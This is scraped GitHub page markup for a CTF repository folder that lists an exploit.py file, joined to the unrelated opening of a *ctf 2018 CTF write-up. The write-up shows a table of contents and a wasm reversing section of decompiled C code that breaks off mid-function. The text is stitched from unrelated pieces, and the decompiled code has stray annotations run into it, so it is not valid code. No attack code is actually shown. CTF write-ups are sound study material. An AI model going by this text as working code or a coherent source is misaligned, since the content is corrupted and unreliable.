1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/zj3t/ctf/refs" cache-key="v0:1516864473.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="emozdC9jdGY=" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/zj3t/ctf/refs" cache-key="v0:1516864473.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="emozdC9jdGY=" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf</span></span></span><span>/</span><span><span>xctf2018</span></span><span>/</span>d<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf</span></span></span><span>/</span><span><span>xctf2018</span></span><span>/</span>d<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/zj3t/ctf/tree-commit/2bb59e7b79bff6ccb7e956c1849f56793d35c165/xctf2018/d" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/zj3t/ctf/file-list/master/xctf2018/d"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>d</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exploit.py</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# *ctf 2018 **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180421-*ctf/) of this writeup.** - [*ctf 2018](#ctf-2018) - [rev](#rev) - [wasm (sces60107)](#wasm-sces60107) - [milktea (sasdf)](#milktea-sasdf) - [pwn](#pwn) - [babystack (sces60107)](#babystack-sces60107) - [note (sces60107)](#note-sces60107) - [young_heap (4w4rd sces60107)](#young_heap-4w4rd-sces60107) - [web](#web) - [simpleweb (how2hack)](#simpleweb-how2hack) - [misc](#misc) - [welcome (bookgin)](#welcome-bookgin) - [warmup (sces60107)](#warmup-sces60107) - [ppc](#ppc) - [magic_number (b04902036)](#magic_number-b04902036) - [Chess Master (bookgin)](#chess-master-bookgin) - [crypto](#crypto) - [primitive (sasdf)](#primitive-sasdf) - [ssss (sasdf)](#ssss-sasdf) - [ssss2 (sasdf)](#ssss2-sasdf) The official repository is [here](https://github.com/sixstars/starctf2018) ## rev ### wasm (sces60107) I leverage [wasm2c](https://github.com/WebAssembly/wabt) to decomplie this wasm Then I found some interesting function and data ```c=static const u8 data_segment_data_0[] = { 0x99, 0x00, 0x00, 0x00, 0x77, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xbd, 0x00, 0x00, 0x00, 0x2f, 0x00, 0x00, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x87, 0x00, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00, 0xf6, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x8c, 0x00, 0x00, 0x00, 0xb9, 0x00, 0x00, 0x00, 0xd6, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0x93, 0x00, 0x00, 0x00, 0xcb, 0x00, 0x00, 0x00, 0xd8, 0x00, 0x00, 0x00, 0x31, 0x00, 0x00, 0x00, 0xe3, 0x00, 0x00, 0x00, 0x77, 0x65, 0x62, 0x61, 0x73, 0x6d, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x73, 0x74, 0x69, 0x6e, 0x67, }; static void init_memory(void) { memcpy(&((*Z_envZ_memory).data[(*Z_envZ_memoryBaseZ_i)]), data_segment_data_0, 112);}static void init_table(void) { uint32_t offset; offset = (*Z_envZ_tableBaseZ_i); (*Z_envZ_table).data[offset + 0] = (wasm_rt_elem_t){func_types[6], (wasm_rt_anyfunc_t)(&f15)}; (*Z_envZ_table).data[offset + 1] = (wasm_rt_elem_t){func_types[4], (wasm_rt_anyfunc_t)(&_EncryptCBC)}; (*Z_envZ_table).data[offset + 2] = (wasm_rt_elem_t){func_types[1], (wasm_rt_anyfunc_t)(&_check)}; (*Z_envZ_table).data[offset + 3] = (wasm_rt_elem_t){func_types[6], (wasm_rt_anyfunc_t)(&f15)};}static void _EncryptCBC(u32 p0, u32 p1, u32 p2, u32 p3) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0, l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, l29 = 0, l30 = 0, l31 = 0, l32 = 0, l33 = 0, l34 = 0, l35 = 0, l36 = 0, l37 = 0, l38 = 0, l39 = 0, l40 = 0, l41 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l41 = i0; i0 = g10; i1 = 48u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 48u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = l41; i1 = 16u; i0 += i1; l38 = i0; i0 = l41; l39 = i0; i0 = p0; l30 = i0; l30=p0 i0 = p1; l35 = i0; l35=p1 i0 = p2; l36 = i0; l36=p2 i0 = p3; l37 = i0; l37=p3 i0 = l37; l0 = i0; i0 = l0; i0 = f9(i0); round key l1 = i0; i0 = l39; i1 = l1; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l37; l2 = i0; i0 = l2; i1 = 4u; i0 += i1; l3 = i0; i0 = l3; i0 = f9(i0); l4 = i0; i0 = l39; i1 = 4u; i0 += i1; l5 = i0; i0 = l5; i1 = l4; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l37; l6 = i0; i0 = l6; i1 = 8u; i0 += i1; l7 = i0; i0 = l7; i0 = f9(i0); l8 = i0; i0 = l39; i1 = 8u; i0 += i1; l9 = i0; i0 = l9; i1 = l8; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l37; l10 = i0; i0 = l10; i1 = 12u; i0 += i1; l11 = i0; i0 = l11; i0 = f9(i0); l12 = i0; i0 = l39; i1 = 12u; i0 += i1; l13 = i0; i0 = l13; i1 = l12; i32_store(Z_envZ_memory, (u64)(i0), i1); L1: i0 = l36; l14 = i0; i0 = l14; i1 = 8u; i0 = (u32)((s32)i0 >= (s32)i1); l15 = i0; i0 = l15; i0 = !(i0); if (i0) { goto B2; } i0 = l35; l16 = i0; i0 = l16; i0 = f9(i0); l17 = i0; i0 = l38; i1 = l17; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l35; l18 = i0; i0 = l18; i1 = 4u; i0 += i1; l19 = i0; i0 = l19; i0 = f9(i0); l20 = i0; i0 = l38; i1 = 4u; i0 += i1; l21 = i0; i0 = l21; i1 = l20; i32_store(Z_envZ_memory, (u64)(i0), i1); i0 = l38; i1 = l39; f10(i0, i1); i0 = l30; l22 = i0; i0 = l38; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l23 = i0; i0 = l22; i1 = l23; f11(i0, i1); i0 = l30; l24 = i0; i0 = l24; i1 = 4u; i0 += i1; l25 = i0; i0 = l38; i1 = 4u; i0 += i1; l26 = i0; i0 = l26; i0 = i32_load(Z_envZ_memory, (u64)(i0)); l27 = i0; i0 = l25; i1 = l27; f11(i0, i1); i0 = l35; l28 = i0; i0 = l28; i1 = 8u; i0 += i1; l29 = i0; i0 = l29; l35 = i0; i0 = l30; l31 = i0; i0 = l31; i1 = 8u; i0 += i1; l32 = i0; i0 = l32; l30 = i0; i0 = l36; l33 = i0; i0 = l33; i1 = 8u; i0 -= i1; l34 = i0; i0 = l34; l36 = i0; goto L1; B2:; i0 = l41; g10 = i0; goto Bfunc; Bfunc:; FUNC_EPILOGUE;} static u32 f9(u32 p0) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l23 = i0; i0 = g10; i1 = 16u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 16u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = p0; l0 = i0; i0 = l0; l11 = i0; i0 = l11; l11=p0 i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l15 = i0; i0 = l15; i1 = 255u; i0 &= i1; l16 = i0; i0 = l0; l17 = i0; i0 = l17; i1 = 1u; i0 += i1; l18 = i0; i0 = l18; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l19 = i0; i0 = l19; i1 = 255u; i0 &= i1; l20 = i0; i0 = l20; i1 = 8u; i0 <<= (i1 & 31); l21 = i0; i0 = l16; i1 = l21; i0 |= i1; l1 = i0; i0 = l0; l2 = i0; i0 = l2; i1 = 2u; i0 += i1; l3 = i0; i0 = l3; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l4 = i0; i0 = l4; i1 = 255u; i0 &= i1; l5 = i0; i0 = l5; i1 = 16u; i0 <<= (i1 & 31); l6 = i0; i0 = l1; i1 = l6; i0 |= i1; l7 = i0; i0 = l0; l8 = i0; i0 = l8; i1 = 3u; i0 += i1; l9 = i0; i0 = l9; i0 = i32_load8_s(Z_envZ_memory, (u64)(i0)); l10 = i0; i0 = l10; i1 = 255u; i0 &= i1; l12 = i0; i0 = l12; i1 = 24u; i0 <<= (i1 & 31); l13 = i0; i0 = l7; i1 = l13; i0 |= i1; l14 = i0; i0 = l23; g10 = i0; i0 = l14; goto Bfunc; Bfunc:; FUNC_EPILOGUE; return i0;} static void f10(u32 p0, u32 p1) { u32 l0 = 0, l1 = 0, l2 = 0, l3 = 0, l4 = 0, l5 = 0, l6 = 0, l7 = 0, l8 = 0, l9 = 0, l10 = 0, l11 = 0, l12 = 0, l13 = 0, l14 = 0, l15 = 0, l16 = 0, l17 = 0, l18 = 0, l19 = 0, l20 = 0, l21 = 0, l22 = 0, l23 = 0, l24 = 0, l25 = 0, l26 = 0, l27 = 0, l28 = 0, l29 = 0, l30 = 0, l31 = 0, l32 = 0, l33 = 0, l34 = 0, l35 = 0, l36 = 0, l37 = 0, l38 = 0, l39 = 0, l40 = 0, l41 = 0, l42 = 0, l43 = 0, l44 = 0, l45 = 0, l46 = 0, l47 = 0, l48 = 0, l49 = 0, l50 = 0, l51 = 0, l52 = 0, l53 = 0, l54 = 0, l55 = 0, l56 = 0, l57 = 0, l58 = 0, l59 = 0, l60 = 0, l61 = 0, l62 = 0; FUNC_PROLOGUE; u32 i0, i1; i0 = g10; l62 = i0; i0 = g10; i1 = 32u; i0 += i1; g10 = i0; i0 = g10; i1 = g11; i0 = (u32)((s32)i0 >= (s32)i1); if (i0) { i0 = 32u; (*Z_envZ_abortStackOverflowZ_vi)(i0); } i0 = p0; l10 = i0; i0 = p1; 